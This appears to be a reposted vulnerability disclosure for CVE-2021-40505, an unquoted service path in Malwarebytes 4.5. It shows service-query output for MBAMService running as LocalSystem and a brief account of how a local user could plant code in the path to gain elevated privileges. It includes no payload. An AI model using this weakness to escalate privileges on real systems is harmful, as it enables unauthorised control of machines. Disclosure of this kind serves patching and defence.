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Malwarebytes 4.5 Unquoted Service Path

CVE Category Price Severity
CVE-2021-40505 CWE-428 Not specified High
Author Risk Exploitation Type Date
Exploit Alert team High Local 2022-03-12
CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022030034

Below is a copy:

Malwarebytes 4.5 Unquoted Service Path
# Exploit Title: Malwarebytes 4.5 - Unquoted Service Path
# Date: 05/03/2022
# Exploit Author: Hejap Zairy
# Vendor Homepage: https://www.malwarebytes.com/
# Software Link: https://www.malwarebytes.com/mwb-download/
# Version: 4.5.0
# Tested: Windows 10 Pro x64 es

C:\Users\Hejap>sc qc MBAMService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MBAMService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Malwarebytes Service
        DEPENDENCIES       : RPCSS
                           : WINMGMT
        SERVICE_START_NAME : LocalSystem



#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

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